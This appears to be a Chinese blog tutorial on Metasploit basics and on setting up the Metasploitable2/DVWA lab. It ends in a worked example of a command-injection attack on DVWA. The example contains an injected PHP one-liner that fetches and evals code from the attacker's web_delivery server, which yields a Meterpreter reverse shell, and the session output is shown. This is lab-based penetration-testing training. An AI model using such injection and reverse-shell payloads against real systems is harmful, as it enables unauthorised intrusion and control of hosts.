1. 简介

Metasploit是世界上优秀的渗透测试工具之一。2003年左右,美国的H.D.Moore(世界知名黑客)和spoonm创建了一个集成多个漏洞渗透工具的框架,随着该框架强大的功能和简单的操作,使得Metasploit在被广泛使用。

2. 模块

2.1.Auxiliary模块

Auxiliary模块是一个通用模块,主要用于扫描、信息收集、恢复数据等。这些模块通常不会直接攻击目标,而是先获取有关目标的信息,以指导后续攻击。
例如,auxiliary/scanner/http/dir_scanner是一个HTTP目录扫描器,可以通过扫描网站目录来查找敏感文件或目录。

2.2.Exploit模块

Exploit模块是一个特殊的模块,用于利用已知的漏洞攻击目标系统。这些模块可以尝试多种攻击方式,并自动选择最有效的攻击方式。
例如,exploit/windows/smb/ms17_010_eternalblue是一个利用MS17-010漏洞的模块,可以通过SMB协议在Windows系统上执行代码。

2.3.Payload模块

Payload模块是Metasploit中最重要的模块之一,它用于实现对目标系统的控制。Metasploit支持多种类型的Payload,包括反向连接Shell、Meterpreter Shell、VNC注入等。
例如,payload/windows/meterpreter/reverse_tcp是一个Windows系统的Meterpreter反向Shell Payload,可以建立与攻击机的反向连接并提供完全的系统访问权限。

2.4.Encoder模块

Encoder模块用于将Payload进行加密或编码,以绕过防御系统的检测。这些模块通常会使用多种技术进行混淆和伪装。
例如,encoder/x86/shikata_ga_nai是一个常用的X86编码器,可以将Payload进行混淆和伪装,以增加其难以被检测的程度。

3. metasploitables2-linux靶机系统

Metasploitables2是一个专门定制的Ubuntu虚拟系统,该系统包含了大量的系统、应用程序和web应用程序的漏洞,被广发用于安全工具的测试和演示靶机。

3.1 下载

网上搜索metasploitables-linux-2.0.0.zip进行下载。如(https://sourceforge.net/projects/metasploitable/files/Metasploitable2/metasploitable-linux-2.0.0.zip/download)

3.2 安装

解压metasploitables-linux-2.0.0.zip
启动vmware,依次选择 文件 > 打开,选择解压的Metasploitable.vmx
启动虚拟机,选择I copied it

3.3 使用

登录,默认账号密码msfadmin/msfadmin,    使用ifconfig查看获取的ip地址。

登录web页面:http://x.x.x.x/,选择DVWA,输入账号密码admin/pasword接入页面,网页有    常见的漏洞供渗透演练。

说明:DVWA默认的DVWA Security为high,初学者可以将级别调整为low。

4. Metasploit使用

4.1 安装

Metasploit可以安装在Windows、Linux等多系统中,因为kali系统默认安装了Metasploit,故直接使用了kali的Metasploit,想了解其他系统安装Metasploit可以访问其官网或者在网上进行搜索。

4.2 配置PostgreSQL

Metasploit使用PostgreSQL来存储渗透测试过程中产生的大量的主机日志、系统日志、搜集的信息和报告数据。
//查看postgresql
sudo systemctl status postgresql
//启动postgresql
sudo systemctl start postgresql
//设置postgresql开机自启
sudo systemctl enable postgresql
┌──(kali㉿kali)-[~]
└─$ sudo systemctl status postgresql
○ postgresql.service - PostgreSQL RDBMS
     Loaded: loaded (/usr/lib/systemd/system/postgresql.service; disabled; preset: disabled)
     Active: inactive (dead)                                                                  
┌──(kali㉿kali)-[~]
└─$ sudo systemctl start postgresql  
                                               
┌──(kali㉿kali)-[~]
└─$ sudo systemctl enable postgresql
Synchronizing state of postgresql.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable postgresql
Created symlink /etc/systemd/system/multi-user.target.wants/postgresql.service → /usr/lib/systemd/system/postgresql.service.

4.3 创建并初始化Metasploit数据库

 sudo msfdb init    
┌──(kali㉿kali)-[~]
└─$ sudo msfdb init                 
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

4.4 启动Metasploit

点击4.1 中的Exploitation Tools > metasploit framework 或者在命令行直接输入msfconsole进入

5. Metasploit渗透示例(使用Metasploit对DVWA进行命令注入攻击)

5.1 命令注入攻击

 命令注入是滥用web应用程序的行为从而实现在操作系统上执行命令,在执行系统命令时将获得与OS设备上的web应用程序运行时相同的权限。命令注入漏洞也可被称为“远程代码执行”(RCE),因为攻击者通过命令注入漏洞 可以尝试诱使web应用程序执行他们所提供的一系列有效载荷(在web应用程序中远程执行代码),而无需直接访问目标机器本身(例如:通过交互式 shell的方式)。Web 服务器将在运行该web应用程序的用户的权限下以及相关访问控制级别下 处理并执行 攻击者所提供的payload代码。

5.2 环境说明

DVWA:192.168.83.132,DVWA的Security调整为low。
kali(Metasploit):192.168.83.130

5.3 渗透测试过程

// 打开Metasploit
msfconsole    
// 搜索并使用web_delivery
search web_delivery
use 5        //5为对应的ID
msf6 > search web_delivery
                                                                             
Matching Modules                                                             
================                                                             
                                                                             
   #   Name                                                        Disclosure Date  Rank       Check  Description
   -   ----                                                        ---------------  ----       -----  -----------
   0   exploit/multi/postgres/postgres_copy_from_program_cmd_exec  2019-03-20       excellent  Yes    PostgreSQL COPY FROM PROGRAM Command Execution
   1     \_ target: Automatic                                      .                .          .      .                                                     
   2     \_ target: Unix/OSX/Linux                                 .                .          .      .
   3     \_ target: Windows - PowerShell (In-Memory)               .                .          .      .
   4     \_ target: Windows (CMD)                                  .                .          .      .
   5   exploit/multi/script/web_delivery                           2013-07-19       manual     No     Script Web Delivery
   6     \_ target: Python                                         .                .          .      .
   7     \_ target: PHP                                            .                .          .      .
   8     \_ target: PSH                                            .                .          .      .
   9     \_ target: Regsvr32                                       .                .          .      .
   10    \_ target: pubprn                                         .                .          .      .
   11    \_ target: SyncAppvPublishingServer                       .                .          .      .
   12    \_ target: PSH (Binary)                                   .                .          .      .
   13    \_ target: Linux                                          .                .          .      .
   14    \_ target: Mac OS X                                       .                .          .      .


Interact with a module by name or index. For example info 14, use 14 or use exploit/multi/script/web_delivery
After interacting with a module you can manually set a TARGET with set TARGET 'Mac OS X'

msf6 > use 5
[*] Using configured payload python/meterpreter/reverse_tcp

// 查看参数
show options
msf6 exploit(multi/script/web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
                                        on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Python



View the full module info with the info, or info -d command.

// payload 切换,因DVWA使用PHP,故切换到PHP对应的攻击语言下
set target 1
set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target 1
target => 1
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp

msf6 exploit(multi/script/web_delivery) > set LHOST 192.168.83.130
LHOST => 192.168.83.130
// 确认设置参数
show options
msf6 exploit(multi/script/web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
                                        on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.83.130   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   PHP



View the full module info with the info, or info -d command.

// 运行
run 或者exploit
sf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

msf6 exploit(multi/script/web_delivery) > [*] Started reverse TCP handler on 192.168.83.130:4444 
[*] Using URL: http://192.168.83.130:8080/ODj3c2ZN
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.83.130:8080/ODj3c2ZN', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

// DVWA网页中执行注入命令
127.0.0.1 | php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.83.130:8080/ODj3c2ZN'));"

// 控制
sessions
sessions -i 1
sysinfo
getuid
[*] Sending stage (39927 bytes) to 192.168.83.132
[*] Meterpreter session 1 opened (192.168.83.130:4444 -> 192.168.83.132:35211) at 2024-10-26 00:18:26 -0400

msf6 exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                   Information                Connection
  --  ----  ----                   -----------                ----------
  1         meterpreter php/linux  www-data @ metasploitable  192.168.83.130:4444 -> 192.168.83.132:35211 (192.168.83.132)

msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linux
meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > getuid
Server username: www-data
meterpreter > getsystem
[-] The "getsystem" command requires the "priv" extension to be loaded (run: `load priv`)
meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels

  1. Metasploit信息收集
    5.1 基于TCP协议收集
    5.2 基于SNMP协议收集
    5.3 基于SMB(服务器消息块)协议收集
    5.4 基于SSH协议收集信息
    5.5 基于FTP协议收集
  2. web服务器漏洞
  3. 通用网关接口漏洞
  4. 数据库漏洞
  5. web认证漏洞
  6. 命令注入漏洞
  7. 文件包含于跨站请求伪造漏洞
  8. 上传漏洞
  9. SQL注入漏洞
  10. 跨站脚本攻击漏洞

会当凌绝顶
9 声望3 粉丝

« 上一篇
Nessus入门基础